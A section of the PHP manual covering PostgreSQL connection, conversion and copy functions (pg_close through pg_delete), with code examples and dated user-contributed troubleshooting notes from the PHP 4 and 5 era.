  $dbconn = pg_connect("dbname=publisher") or die("Could not connect");

  if (!pg_connection_busy($dbconn)) {
      pg_send_query($dbconn, "select * from authors; select count(*) from authors;");
  }

  $res1 = pg_get_result($dbconn);
  echo "First call to pg_get_result(): $res1\n";
  $rows1 = pg_num_rows($res1);
  echo "$res1 has $rows1 records\n\n";

  // Cancel the currently running query.  Will be the second query if it is
  // still running.
  pg_cancel_query($dbconn);
?>

The above example will output:

First call to pg_get_result(): Resource id #3
Resource id #3 has 3 records

See Also

  • pg_send_query() - Sends asynchronous query
  • pg_connection_busy() - Get connection is busy or not

User Contributed Notes

There are no user contributed notes for this page.


Gets the client encoding

  • « pg_cancel_query
  • pg_close »
  • PHP Manual
  • PostgreSQL Functions
  • Gets the client encoding

pg_client_encoding

(PHP 4 >= 4.0.3, PHP 5)

pg_client_encoding — Gets the client encoding

Description

string pg_client_encoding ([ resource $connection ] )

PostgreSQL supports automatic character set conversion between server and client for certain character sets. pg_client_encoding() returns the client encoding as a string. The returned string will be one of the standard PostgreSQL encoding identifiers.

Note:

This function requires PHP 4.0.3 or higher and PostgreSQL 7.0 or higher. If libpq is compiled without multibyte encoding support, pg_client_encoding() always returns SQL_ASCII. Supported encoding depends on PostgreSQL version. Refer to the PostgreSQL Documentation supported encodings.

The function used to be called pg_clientencoding().

Parameters

connection

PostgreSQL database connection resource. When connection is not present, the default connection is used. The default connection is the last connection made by pg_connect() or pg_pconnect().

Return Values

The client encoding, or FALSE on error.

Examples

Example #1 pg_client_encoding() example

<?php
// Assume $conn is a connection to a ISO-8859-1 database
$encoding = pg_client_encoding($conn);

echo "Client encoding is: ", $encoding, "\n";
?>

The above example will output:

Client encoding is: ISO-8859-1

See Also

  • pg_set_client_encoding() - Set the client encoding

User Contributed Notes

There are no user contributed notes for this page.


Closes a PostgreSQL connection

  • « pg_client_encoding
  • pg_connect_poll »
  • PHP Manual
  • PostgreSQL Functions
  • Closes a PostgreSQL connection

pg_close

(PHP 4, PHP 5)

pg_close — Closes a PostgreSQL connection

Description

bool pg_close ([ resource $connection ] )

pg_close() closes the non-persistent connection to a PostgreSQL database associated with the given connection resource.

Note:

Using pg_close() is not usually necessary, as non-persistent open connections are automatically closed at the end of the script.

If there is open large object resource on the connection, do not close the connection before closing all large object resources.

Parameters

connection

PostgreSQL database connection resource. When connection is not present, the default connection is used. The default connection is the last connection made by pg_connect() or pg_pconnect().

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 pg_close() example

<?php
$dbconn = pg_connect("host=localhost port=5432 dbname=mary")
   or die("Could not connect");
echo "Connected successfully";
pg_close($dbconn);
?>

The above example will output:

Connected successfully

See Also

  • pg_connect() - Open a PostgreSQL connection

User Contributed Notes

amays 16-Nov-2005 12:47
pg_close(...) will not technically close a persistent connection but instead returns it back to the connection pool thus giving you the desired effect of having the connection closed within your script.

http://www.sitepoint.com/article/accessing-postgresql-php/3

best wishes to all.
mark at redbrick dot dcu dot ie 24-Mar-2003 03:31
This function closes the current database connection specified by a handle returned from a pg_connect() call.

<?php
    $pgsql_conn = pg_connect("dbname=mark host=localhost");

    if ($pgsql_conn) {
        print "Successfully connected to: " . pg_host($pgsql_conn) . "<br/>\n";
    } else {
        print pg_last_error($pgsql_conn);
        exit;
    }

    // Do database stuff here.

    if(!pg_close($pgsql_conn)) {
        print "Failed to close connection to " . pg_host($pgsql_conn) . ": " .
       pg_last_error($pgsql_conn) . "<br/>\n";
    } else {
        print "Successfully disconnected from database";
    }
?>

Of course you normally wouldn't print a message.

Regards, --mark


Poll the status of an in-progress asynchronous PostgreSQL connection attempt.

  • « pg_close
  • pg_connect »
  • PHP Manual
  • PostgreSQL Functions
  • Poll the status of an in-progress asynchronous PostgreSQL connection attempt.

pg_connect_poll

(PHP 5 >= 5.6.0)

pg_connect_poll — Poll the status of an in-progress asynchronous PostgreSQL connection attempt.

Description

int pg_connect_poll ([ resource $connection ] )

pg_connect_poll() polls the status of a PostgreSQL connection created by calling pg_connect() with the PGSQL_CONNECT_ASYNC option.

Parameters

connection

PostgreSQL database connection resource.

Return Values

Returns PGSQL_POLLING_FAILED, PGSQL_POLLING_READING, PGSQL_POLLING_WRITING, PGSQL_POLLING_OK, or PGSQL_POLLING_ACTIVE.

User Contributed Notes

There are no user contributed notes for this page.


Open a PostgreSQL connection

  • « pg_connect_poll
  • pg_connection_busy »
  • PHP Manual
  • PostgreSQL Functions
  • Open a PostgreSQL connection

pg_connect

(PHP 4, PHP 5)

pg_connect — Open a PostgreSQL connection

Description

resource pg_connect ( string $connection_string [, int $connect_type ] )

pg_connect() opens a connection to a PostgreSQL database specified by the connection_string.

If a second call is made to pg_connect() with the same connection_string as an existing connection, the existing connection will be returned unless you pass PGSQL_CONNECT_FORCE_NEW as connect_type.

The old syntax with multiple parameters $conn = pg_connect("host", "port", "options", "tty", "dbname") has been deprecated.

Parameters

connection_string

The connection_string can be empty to use all default parameters, or it can contain one or more parameter settings separated by whitespace. Each parameter setting is in the form keyword = value. Spaces around the equal sign are optional. To write an empty value or a value containing spaces, surround it with single quotes, e.g., keyword = 'a value'. Single quotes and backslashes within the value must be escaped with a backslash, i.e., \' and \\.

The currently recognized parameter keywords are: host, hostaddr, port, dbname (defaults to value of user), user, password, connect_timeout, options, tty (ignored), sslmode, requiressl (deprecated in favor of sslmode), and service. Which of these arguments exist depends on your PostgreSQL version.

The options parameter can be used to set command line parameters to be invoked by the server.

connect_type

If PGSQL_CONNECT_FORCE_NEW is passed, then a new connection is created, even if the connection_string is identical to an existing connection.

If PGSQL_CONNECT_ASYNC is given, then the connection is established asynchronously. The state of the connection can then be checked via pg_connect_poll() or pg_connection_status().

Return Values

PostgreSQL connection resource on success, FALSE on failure.

Changelog

Version | Description
5.6.0 | Support for giving the PGSQL_CONNECT_ASYNC constant as the connect_type was added.

Examples

Example #1 Using pg_connect()

<?php
$dbconn = pg_connect("dbname=mary");
//connect to a database named "mary"

$dbconn2 = pg_connect("host=localhost port=5432 dbname=mary");
// connect to a database named "mary" on "localhost" at port "5432"

$dbconn3 = pg_connect("host=sheep port=5432 dbname=mary user=lamb password=foo");
//connect to a database named "mary" on the host "sheep" with a username and password

$conn_string = "host=sheep port=5432 dbname=test user=lamb password=bar";
$dbconn4 = pg_connect($conn_string);
//connect to a database named "test" on the host "sheep" with a username and password

$dbconn5 = pg_connect("host=localhost options='--client_encoding=UTF8'");
//connect to a database on "localhost" and set the command line parameter which tells the encoding is in UTF-8
?>

See Also

  • pg_pconnect() - Open a persistent PostgreSQL connection
  • pg_close() - Closes a PostgreSQL connection
  • pg_host() - Returns the host name associated with the connection
  • pg_port() - Return the port number associated with the connection
  • pg_tty() - Return the TTY name associated with the connection
  • pg_options() - Get the options associated with the connection
  • pg_dbname() - Get the database name

User Contributed Notes

Anonymous 29-Sep-2014 04:50
Getting md5 passwords was confusing because of a lack of documentation:

- set up your pg_hba.conf in order to use md5 password instead of 'trust' or 'ident'
- check if your postgres.conf has 'password_encryption=on' (depending on the version this might already be 'on').
- make sure to restart your postgres process.
- in PHP you just supply the username and password in _plain_ text:
'host=localhost port=5432 dbname=megadb user=megauser password=holyhandbagsbatmanthispasswordisinplaintext'
The postgres PHP library will automagically do the md5 encoding for you, no need to do it yourself.
Dave 03-Jun-2013 09:40
If you use pgbouncer and unix socket
and you pgbouncer.ini looks like this
listen_port = 6432
unix_socket_dir = /tmp

you connect like this

pg_connect('host=/tmp port=6432 dbname=DB user=USER password=PASS');
dreamsoundaudio at gmail dot com 03-Sep-2011 07:06
Ubuntu/Debian users, specifically server versions: If you used Tasksel to build PostgreSQL, and you're banging your head against the wall with the "Fatal error: Call to undefined function pg_connect()" error, check that php5-pgsql is installed.

Tasksel apparently doesn't install it.
thakur at corexprts dot com 27-Oct-2010 10:45
One thing is to remember, whenever trying to use pg_connect, add the timeout parameter with it

<?php
$d=pg_connect('host=example.com user=pgsql dbname=postgres connect_timeout=5');
?>
infotirona at yahoo dot com 17-Aug-2010 03:33
It's strange how this "Fatal error: Call to undefined function pg_connect()" happens(when everything else is OK) in PHP version 5.3.3.

I was trying to connect to my db when I got that error message the firs time. My extensions path was OK, pgsql extension  should have been loaded from php.ini(i had enabled it before), Apache started-up without errors, but i still had the "Fatal error: Call to undefined function pg_connect()" message when i tried to connect.
Seaching a bit around i found something about dll libraries not working as they should, so deleted the new 5.3.3 version, downloaded the PHP 5.2.5 and configured it.

I'm using Windows XP Home SP3, Apache 2.2, PHP 5.2.5 and everything works fine now... ;)
gutostraube at gmail dot com 02-Oct-2009 03:51
It's possible connect to a PostgreSQL database via Unix socket using the pg_connect() function by the following two ways:

1) Using the socket path:

<?php
$conn = pg_connect('host=/var/run/postgresql user=username dbname=databasename');
?>

2) Omitting the host name/path:

<?php
$conn = pg_connect('user=username dbname=databasename');
?>

Note: in this case (omitting the host value), the default socket path will be used.
bgalloway at citycarshare dot org 28-Mar-2008 03:33
Beware about writing something like
<?php
function getdb_FAILS() {
    return pg_connect("...") or die('connection failed');
}
?>

It will return a boolean.  This will appear to be fine if you don't use the return value as a db connection handle, but will fail if you do.

Instead, use:
<?php
function getdb() {
    $db = pg_connect("...") or die('connection failed');
    return $db;
}
?>

which actually returns a handle.
tim at buttersideup dot com 28-Dec-2007 07:41
It's not explicitly stated here, but you can also connect to PostgreSQL via a UNIX domain socket by leaving the host empty.  This should have less overhead than using TCP e.g.:

$dbh = new PDO('pgsql:user=exampleuser dbname=exampledb password=examplepass');

In fact as the C library call PQconnectdb underlies this implementation, you can supply anything that this library call would take - the "pgsql:" prefix gets stripped off before PQconnectdb is called, and if you supply any of the optional arguments (e.g. user), then these arguments will be added to the string that you supplied...  Check the docs for your relevant PostgreSQL client library: e.g.

http://www.postgresql.org/docs/8.3/static/libpq-connect.html

If you really want, you can use ';'s to separate your arguments - these will just be converted to spaces before PQconnectdb is called.

Tim.
xourge 20-Aug-2007 06:17
remember that when you use a blank password there will be an error because of:
password= dbname= (...)
to fix this problem use '' in your $options variable
example:

$options = " host='localhost' port='5432' user='postgres' password='' dbname='test' ";
pg_connect($options);

*** careful: I used double ' after password=, not "
Sohel Taslim 03-Aug-2007 04:20
I got the same problem but I have to solve that in different way.
In my postgresql.conf file the following was commented.
So, I active that under Connection Settings-

# - Connection Settings –
tcpip_socket = true
borovik -at- gmail 03-Apr-2007 04:06
"If you use pg_connect('host=localhost port=5432 user=my_username password=my_password dbname=my_dbname') and you get the following error:
"Warning: pg_connect(): Unable to connect to PostgreSQL server: could not connect to server: Connection refused Is the server running on host localhost and accepting TCP/IP connections on port 5432?"
"
I solved this error just by setting listen_addresses = '*' in the postgresql.conf file. This error occurs probably despite of a name resolution to localhost, given in the "host" parameter. So you can set the host in the pg_connect() function.
Anonymous 10-Apr-2005 06:51
The values accepted by pg_connect's sslmode argument are: disable, allow, prefer, require
phpnet at benjamin dot schulz dot name 01-Sep-2004 01:28
if you need to open a new connection handle (i.e. for multiple pg_send_query()) use PGSQL_CONNECT_FORCE_NEW as second parameter to pg_connect()
Cybertinus 15-Dec-2003 10:47
If you use pg_connect('host=localhost port=5432 user=my_username password=my_password dbname=my_dbname') and you get the following error:
"Warning: pg_connect(): Unable to connect to PostgreSQL server: could not connect to server: Connection refused Is the server running on host localhost and accepting TCP/IP connections on port 5432?"
then you should try to leave the host= and port= parts out of the connection string. This sounds strange, but this is an "option" of Postgre. If you have not activated the TCP/IP port in postgresql.conf then postgresql doesn't accept any incoming requests from an TCP/IP port. If you use host= in your connection string you are going to connect to Postgre via TCP/IP, so that's not going to work. If you leave the host= part out of your connection string you connect to Postgre via the Unix domain sockets, which is faster and more secure, but you can't connect with the database via any other PC as the localhost.
xzilla at users dot sourceforge dot net 09-Dec-2003 05:22
regarding the note from  matias at nospam dot projectcast dot com
on 12-Feb-2002 01:16, you do not need a user in the database with the same name a your web user with ANY version of postgresql.  The only time that would be a requirement ifs if you set your postgresql server to only allow IDENT based authentication  (which IIRC is the default on Red Hat systems, which might be what lead to the confusion).  For more info on the various authentication methods allowed by postgresql, check out http://www.postgresql.org/docs/7.4/static/client-authentication.html
derry at siliconriver.com dot au 08-Aug-2003 05:48
pg_connect seems to support SSL connections, on systems where Postgres has been compiled with ssl, i'm assuming this is since psql uses libpq to connect.
pg_connect can successfully connect, and use the "requiressl" argument.
jtate at php dot net 31-Dec-2002 11:36
If you use host=HOSTNAME in your pg_connect string when connecting to PostgreSQL databases newer than 7.1, you need to make sure that your postmaster daemon is started with the "-i" option.  Otherwise the connection will fail.  See http://www.postgresql.org/idocs/index.php?client-authentication.html for client authentication documentation.
khyri at khyri dot com 01-Nov-2002 01:23
After upgrading to PHP 4.2.3 from PHP 4.1.2 (Red Hat Linux Advanced Server with Stronghold 4.0) in order to manually compile in MHASH support, I discovered that Postgres support has disappeared, despite being specified on the command line, and compiling with no errors.

FATAL: Undefined function: pg_connect()

Confirmed by looking at the output of phpinfo() and comparing it to the output pre-upgrade - no mention of PostgreSQL in the new one.

Detective work led me to find that the old pgsql.so in /usr/lib/php4 was untouched, and the new one had ended up in /usr/lib/20020429 instead.

The fix was to edit config_vars.mk after configuration to change the value of EXTENSION_DIR, and then compile.

Not quite sure where 20020429 came from, looks like a left-over value from development testing...

Anyway, in case any one else has a similar problem, thought I'd document it here, as a problem with pg_connect is where this will first surface as a symptom.
Helio Ferenhof <d-m at eudoramail dot com> 18-Feb-2002 10:20
Connection Hint:
Do you always write at the code the username and password to connect to your PostgreSQL database !?
What if your username or password changes?

Create a connection include file.

---
connection.inc
---
<?php
  $connection = pg_connect("host=localhost port=5432 dbname=DATABASENAME user=USERNAME password=PASSWORD")
      or die ("Nao consegui conectar ao PostGres --> " . pg_last_error($conn));
?>

// you can use $database name and pass it from the php file if you connect into different databases.

---
Phpfile.php
---

<?php
    include('connection.php'); // Include the connection to the databank THEN start your SQL Job :)

    $result=pg_exec("SELECT field FROM table WHERE field = '$something' "); // Sample of SQL QUERY
        $fetch = pg_fetch_row($query_st); // Sample of SQL QUERY

    pg_close($connection); // Close this connection
?>

[]�s
Helio Ferenhof
d-m@eudoramail.com
matias at nospam dot projectcast dot com 12-Feb-2002 10:16
At least with Postgres 7.2, connecting to local postgresdatabase requires a user in the database with the same name as the user running apache, or the connection fails.
rolf at sir-wum dot de 13-Oct-2001 02:54
pg_connect() won't work with the authentication method 'crypt' in the pg_hba.conf. Took me an hour to figure that out till I remeberd some other issues with windows missing the crypt() call.
kayotix at yahoo dot com 15-Sep-2000 08:54
Little note that is buried in the install somewhere.  In Php 3, PostgreSQL support was activated by adding --with-postgresql=[DIR] to the options passed to ./configure.  With Php 4.0.2 (on Linux) the parameter was --with-pgsql.  The only place I found this was in the installing PHP on Unix section of the manual.
leace at post dot cz 21-Jul-2000 11:26
If you use PostgreSQL users for authenticating into your pg database rather than using your own authentication, always specify host directive in pg_connect and edit pg_hba.conf to authenticate from this host accordingly. Otherwise, PHP will connect as 'local' using UNIX domain sockets, which is set in pg_hba.conf to 'trust' by default (so you can connect using psql on console without specifying password) and everyone can connect to db _without password_ .


Get connection is busy or not

  • « pg_connect
  • pg_connection_reset »
  • PHP Manual
  • PostgreSQL Functions
  • Get connection is busy or not

pg_connection_busy

(PHP 4 >= 4.2.0, PHP 5)

pg_connection_busy — Get connection is busy or not

Description

bool pg_connection_busy ( resource $connection )

pg_connection_busy() determines whether or not a connection is busy. If it is busy, a previous query is still executing. If pg_get_result() is used on the connection, it will be blocked.

Parameters

connection

PostgreSQL database connection resource.

Return Values

Returns TRUE if the connection is busy, FALSE otherwise.

Examples

Example #1 pg_connection_busy() example

<?php
  $dbconn = pg_connect("dbname=publisher") or die("Could not connect");
  $bs = pg_connection_busy($dbconn);
  if ($bs) {
      echo 'connection is busy';
  } else {
     echo 'connection is not busy';
  }
?>

See Also

  • pg_connection_status() - Get connection status
  • pg_get_result() - Get asynchronous query result

User Contributed Notes

levi at alliancesoftware dot com dot au 09-Nov-2009 02:00
pg_connection_busy() returning true does not necessarily mean that there are results waiting for pg_get_result(); it also stays true for some time after a query that causes any sort of postgres error. (See http://bugs.php.net/bug.php?id=36469)


Reset connection (reconnect)

  • « pg_connection_busy
  • pg_connection_status »
  • PHP Manual
  • PostgreSQL Functions
  • Reset connection (reconnect)

pg_connection_reset

(PHP 4 >= 4.2.0, PHP 5)

pg_connection_reset — Reset connection (reconnect)

Description

bool pg_connection_reset ( resource $connection )

pg_connection_reset() resets the connection. It is useful for error recovery.

Parameters

connection

PostgreSQL database connection resource.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 pg_connection_reset() example

<?php
  $dbconn = pg_connect("dbname=publisher") or die("Could not connect");
  $dbconn2 = pg_connection_reset($dbconn);
  if ($dbconn2) {
      echo "reset successful\n";
  } else {
      echo "reset failed\n";
  }
?>

See Also

  • pg_connect() - Open a PostgreSQL connection
  • pg_pconnect() - Open a persistent PostgreSQL connection
  • pg_connection_status() - Get connection status

User Contributed Notes

There are no user contributed notes for this page.


Get connection status

  • « pg_connection_reset
  • pg_consume_input »
  • PHP Manual
  • PostgreSQL Functions
  • Get connection status

pg_connection_status

(PHP 4 >= 4.2.0, PHP 5)

pg_connection_status — Get connection status

Description

int pg_connection_status ( resource $connection )

pg_connection_status() returns the status of the specified connection.

Parameters

connection

PostgreSQL database connection resource.

Return Values

PGSQL_CONNECTION_OK or PGSQL_CONNECTION_BAD.

Examples

Example #1 pg_connection_status() example

<?php
  $dbconn = pg_connect("dbname=publisher") or die("Could not connect");
  $stat = pg_connection_status($dbconn);
  if ($stat === PGSQL_CONNECTION_OK) {
      echo 'Connection status ok';
  } else {
      echo 'Connection status bad';
  }
?>

See Also

  • pg_connection_busy() - Get connection is busy or not

User Contributed Notes

Mathieu De Zutter 02-Aug-2006 02:45
Being careful with the comparison operators is not enough:

<?php
if (pg_connection_status($link)===PGSQL_CONNECTION_BAD)
   reconnect($link);
?>
The reconnect won't be trigged when $link is null.

The manual is just wrong, there are three return values: PGSQL_CONNECTION_OK, PGSQL_CONNECTION_BAD, null
david dot tulloh at infaze dot com dot au 15-Jun-2005 05:33
I think zytox is incorrect, at least in PHP 5.0.4.
It returns null, but you have to be careful with your comparison operators.

As an example:
<?php
unset($null);
if (pg_connection_status($null)===PGSQL_CONNECTION_OK)
    echo 'this is not called';
if (pg_connection_status($null)==PGSQL_CONNECTION_OK)
    echo 'this is called because NULL==0 is true';
?>
zytox at hotmail dot com 02-Apr-2005 07:34
If the connection variable is NULL this function returns 0 in PHP 5.0.2. Havent figured out any more erratic values for the connection variable but be careful.


Reads input on the connection

  • « pg_connection_status
  • pg_convert »
  • PHP Manual
  • PostgreSQL Functions
  • Reads input on the connection

pg_consume_input

(PHP 5 >= 5.6.0)

pg_consume_input — Reads input on the connection

Description

bool pg_consume_input ( resource $connection )

pg_consume_input() consumes any input waiting to be read from the database server.

Parameters

connection

PostgreSQL database connection resource.

Return Values

TRUE if no error occurred, or FALSE if there was an error. Note that TRUE does not necessarily indicate that input was waiting to be read.

User Contributed Notes

There are no user contributed notes for this page.


Convert associative array values into suitable for SQL statement

  • « pg_consume_input
  • pg_copy_from »
  • PHP Manual
  • PostgreSQL Functions
  • Convert associative array values into suitable for SQL statement

pg_convert

(PHP 4 >= 4.3.0, PHP 5)

pg_convert — Convert associative array values into suitable for SQL statement

Description

array pg_convert ( resource $connection , string $table_name , array $assoc_array [, int $options = 0 ] )

pg_convert() checks and converts the values in assoc_array into suitable values for use in an SQL statement. Precondition for pg_convert() is the existence of a table table_name which has at least as many columns as assoc_array has elements. The fieldnames in table_name must match the indices in assoc_array and the corresponding datatypes must be compatible. Returns an array with the converted values on success, FALSE otherwise.

Note:

Since PHP 5.6.0, it accepts boolean values. It converted to PostgreSQL boolean. String representations of boolean value is also supported. NULL is converted to PostgreSQL NULL.

Prior to PHP 5.6.0, if there are boolean fields in table_name don't use the constant TRUE in assoc_array. It will be converted to the string 'TRUE' which is no valid entry for boolean fields in PostgreSQL. Use one of t, true, 1, y, yes instead.

Parameters

connection

PostgreSQL database connection resource.

table_name

Name of the table against which to convert types.

assoc_array

Data to be converted.

options

Any number of PGSQL_CONV_IGNORE_DEFAULT, PGSQL_CONV_FORCE_NULL or PGSQL_CONV_IGNORE_NOT_NULL, combined.

Return Values

An array of converted values, or FALSE on error.

Examples

Example #1 pg_convert() example

<?php
  $dbconn = pg_connect('dbname=foo');

  $tmp = array(
      'author' => 'Joe Thackery',
      'year' => 2005,
      'title' => 'My Life, by Joe Thackery'
  );

  $vals = pg_convert($dbconn, 'authors', $tmp);
?>

Changelog

Version | Description
5.6.0 | No longer experimental. Boolean/NULL data types are supported. Unknown/unsupported data types are escaped without validation. pg_convert() could be used with any data types.

See Also

  • pg_meta_data() - Get meta data for table
  • pg_insert() - Insert array into table
  • pg_select() - Select records
  • pg_update() - Update table
  • pg_delete() - Deletes records

User Contributed Notes

gorhas at gmail dot com 08-Oct-2014 05:41
There is a problem when using interval.
If in the array
"time_pause" => '00:30:00'
and time_pause is an interval
the insert fails
pg_insert(): '00:30:00' does not match with  '^(@?[ \t]+)?((([-+]?[ \t]+)?[0-9]+(\.[0-9]*)?[ ...
Andrew Falanga 24-Feb-2005 09:03
Why does this function, pg_convert(), reject the string 'TRUE' as a valid value for the boolean types?  I'm using PHP 4.3.9 and my web page originally set the value for submission to update, to 'TRUE'.  pg_convert() threw it back to me saying that it's not a valid value for boolean types.  However, the postgresql website says otherwise.  See http://www.postgresql.org/docs/7.4/static/datatype-boolean.html for the context of my question/comment.
31-Mar-2004 05:02
The only options that I see are:

PGSQL_CONV_IGNORE_DEFAULT  - Do not use DEAFULT value by removing field from returned array
PGSQL_CONV_FORCE_NULL - Convert to NULL if string is null string
PGSQL_CONV_IGNORE_NOT_NULL  - Ignore NOT NULL constraints

These are constants, so don't quote them or anything.
dharana at dharana dot net 12-May-2003 03:28
I've found "options" possible values:

PG_CONV_CHECK - check only
PG_CONV_STRICT - raise warning for non fatal error
PG_CONV_QUOTE - add quote around values for vchar, text datetime.
PG_CONV_SLASH - add slashes if it needed.
PG_CONV_NULLCHK - check values are defined for NOT NULL fields.
PG_CONV_NO_DEFAULT - ignore default value even if value is empty string.


Insert records into a table from an array

  • « pg_convert
  • pg_copy_to »
  • PHP Manual
  • PostgreSQL Functions
  • Insert records into a table from an array

pg_copy_from

(PHP 4 >= 4.2.0, PHP 5)

pg_copy_from — Insert records into a table from an array

Description

bool pg_copy_from ( resource $connection , string $table_name , array $rows [, string $delimiter [, string $null_as ]] )

pg_copy_from() inserts records into a table from rows. It issues a COPY FROM SQL command internally to insert records.

Parameters

connection

PostgreSQL database connection resource.

table_name

Name of the table into which to copy the rows.

rows

An array of data to be copied into table_name. Each value in rows becomes a row in table_name. Each value in rows should be a delimited string of the values to insert into each field. Values should be linefeed terminated.

delimiter

The token that separates values for each field in each element of rows. Default is TAB.

null_as

How SQL NULL values are represented in the rows. Default is \N ("\\N").

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 pg_copy_from() example

<?php
   $db = pg_connect("dbname=publisher") or die("Could not connect");

   $rows = pg_copy_to($db, $table_name);

   pg_query($db, "DELETE FROM $table_name");

   pg_copy_from($db, $table_name, $rows);
?>

See Also

  • pg_copy_to() - Copy a table to an array

User Contributed Notes

Dave 25-Feb-2014 05:26
Default is "\\\N" not "\\N" at least in php 5.4

pg_copy_from($db, $table_name, "\t", "\\\N")
Dave 26-Jan-2012 07:40
As of postgresql 9.1 "standard_conforming_strings" is set to on

This will not work anymore
<?php
$copy_message = "1\t\\N\t300";
pg_copy_from($db, "message", $copy_message);
?>
result will be a "N" in that field. if the field allow text that is else it will fail to insert the post.

simple fix
<?php
$copy_message = "1\t\\NULL\t300";
pg_copy_from($db, "message", $copy_message, "\t","\\NULL");
?>
Dave 18-Feb-2011 11:39
Fix for "Copy command failed: ERROR: literal carriage return
found in data" or
"Copy command failed: ERROR: missing data for column
"message" CONTEXT: COPY message, line 1:"

<?php
$message = "HEJ\rHEJ\nHEJ\r\nHEJ\n\rHEJ\tHELLO\\";

$message = addslashes($message);

$message = str_replace(
  array("\n","\r","\t"),
  array("\\n","\\r","\\t"),
  $message);

$copy_message = "1\t". $message ."\t300";

pg_copy_from($db, "message", $copy_message);
?>
Anonymous 11-Jun-2009 12:08
see also: pg_put_line for a solution that does not require buffering of all the data to be copied,
kapouer_php at melix dot org 26-Aug-2007 11:24
pg syntax is :
COPY test (cola, colb, colc) FROM stdin;
...

this function doesn't let you in which order the columns are !
vlad at php dot net 19-Mar-2003 10:38
By default NULL values are a backslash followed with capital N ("\\N").

Also, you can't insert entries with OIDs (I've added it to my TODO list though)
carl at thep.lu.se 10-Sep-2002 12:06
Something needs to be said about the format of the array.
Judging by what I've seen, it's pretty much what you get
from loading a tab-separated file with file(). That is, the
lines are linefeed-terminated and there's no need to have
an extra line with "\.". On the other hand, when I try using this
command the connection to the server ends up in some odd
state and is then lost:
PHP Warning:  U�S�o() query failed: server closed the connection unexpectedly

I think it might be safer to use the lower-level function
pg_put_line() for now.


Copy a table to an array

  • « pg_copy_from
  • pg_dbname »
  • PHP Manual
  • PostgreSQL Functions
  • Copy a table to an array

pg_copy_to

(PHP 4 >= 4.2.0, PHP 5)

pg_copy_to — Copy a table to an array

Description

array pg_copy_to ( resource $connection , string $table_name [, string $delimiter [, string $null_as ]] )

pg_copy_to() copies a table to an array. It issues COPY TO SQL command internally to retrieve records.

Parameters

connection

PostgreSQL database connection resource.

table_name

Name of the table from which to copy the data into rows.

delimiter

The token that separates values for each field in each element of rows. Default is TAB.

null_as

How SQL NULL values are represented in the rows. Default is \N ("\\N").

Return Values

An array with one element for each line of COPY data. It returns FALSE on failure.

Examples

Example #1 pg_copy_to() example

<?php
   $db = pg_connect("dbname=publisher") or die("Could not connect");

   $rows = pg_copy_to($db, $table_name);

   pg_query($db, "DELETE FROM $table_name");

   pg_copy_from($db, $table_name, $rows);
?>

See Also

  • pg_copy_from() - Insert records into a table from an array

User Contributed Notes

etiger13 at gmail dot com 17-Nov-2009 08:14
You cannot specify the schema name in this command. You can change the search path for just one query by using the following code:

<?php
pg_query($conn, "SET search_path TO myschema;");

$copy_to = pg_copy_to($conn, 'tablename');

pg_query("RESET search_path;");
?>
setantae at submonkey dot net 27-Nov-2002 07:50
"It issues COPY TO SQL command internally to insert records"

I suspect this statement is incorrect, or that s/insert/retrieve/ is appropriate.


Get the database name

  • « pg_copy_to
  • pg_delete »
  • PHP Manual
  • PostgreSQL Functions
  • Get the database name

pg_dbname

(PHP 4, PHP 5)

pg_dbname — Get the database name

Description

string pg_dbname ([ resource $connection ] )

pg_dbname() returns the name of the database that the given PostgreSQL connection resource.

Parameters

connection

PostgreSQL database connection resource. When connection is not present, the default connection is used. The default connection is the last connection made by pg_connect() or pg_pconnect().

Return Values

A string containing the name of the database the connection is to, or FALSE on error.

Examples

Example #1 pg_dbname() example

<?php
  error_reporting(E_ALL);

  pg_connect("host=localhost port=5432 dbname=mary");
  echo pg_dbname(); // mary
?>

User Contributed Notes

mark at redbrick dot dcu dot ie 24-Mar-2003 09:37
This function is as simple as it sounds, it returns the name of the database your are currently connected to on the handle retrieved from a pg_connect() call.

<?php
    $pgsql_conn = pg_connect("dbname=mark host=localhost");

    if ($pgsql_conn) {
        print "Successfully connected to database: " . pg_dbname($pgsql_conn) .
         " on " .  pg_host($pgsql_conn) . "<br/>\n";
    } else {
        print pg_last_error($pgsql_conn);
        exit;
    }
?>

[mark@prodigy][*][~/public_html/php]>>>php pg_dbname.php
Content-type: text/html
X-Powered-By: PHP/4.3.1

Successfully connected to database: mark on localhost<br/>

Again this function is much more useful when you are changing which database you are connected to in your program.

Regards,  --mark


Deletes records

  • « pg_dbname
  • pg_end_copy »
  • PHP Manual
  • PostgreSQL Functions
  • Deletes records

pg_delete

(PHP 4 >= 4.3.0, PHP 5)

pg_delete — Deletes records

Description

mixed pg_delete ( resource $connection , string $table_name , array $assoc_array [, int $options = PGSQL_DML_EXEC ] )

pg_delete() deletes records from a table specified by the keys and values in assoc_array. If options is specified, pg_convert() is applied to assoc_array with the specified options.

Parameters

connection

PostgreSQL database connection resource.

table_name

Name of the table from which to delete rows.

assoc_array

An array whose keys are field names in the table table_name, and whose values are the values of those fields that are to be deleted.

options

Any number of PGSQL_CONV_FORCE_NULL, PGSQL_DML_NO_CONV, PGSQL_DML_ESCAPE, PGSQL_DML_EXEC, PGSQL_DML_ASYNC or PGSQL_DML_STRING combined. If PGSQL_DML_STRING is part of the options then query string is returned. When PGSQL_DML_NO_CONV or PGSQL_DML_ESCAPE is set, it does not call pg_convert() internally.

Return Values

Returns TRUE on success or FALSE on failure. Returns string if PGSQL_DML_STRING is passed via options.

Examples

Example #1 pg_delete() example

<?php
  $db = pg_connect('dbname=foo');
  // This is safe, since $_POST is converted automatically
  $res = pg_delete($db, 'post_log', $_POST);
  if ($res) {
      echo "POST data is deleted: $res\n";
  } else {
      echo "User must have sent wrong inputs\n";
  }
?>

Changelog

Version | Description
5.6.0 | No longer experimental. Added PGSQL_DML_ESCAPE constant, TRUE/FALSE and NULL data type support.
5.5.3/5.4.19 | Direct SQL injection to table_name and Indirect SQL injection to identifiers are fixed.

See Also

  • pg_convert() - Convert associative array values into suitable for SQL statement

User Contributed Notes

27-Apr-2004 12:47
One should take care when checking the return value.
0 == false which is not equal with failed delete.

if(!$res)
  echo "Nothing was deleted";


Sync with PostgreSQL backend

  • « pg_delete
  • pg_escape_bytea »
  • PHP Manual
  • PostgreSQL Functions
  • Sync with PostgreSQL backend

pg_end_copy

(PHP 4 >= 4.0.3, PHP 5)

pg_end_copy — Sync with PostgreSQL backend

Description

bool pg_end_copy ([ resource $connection ] )

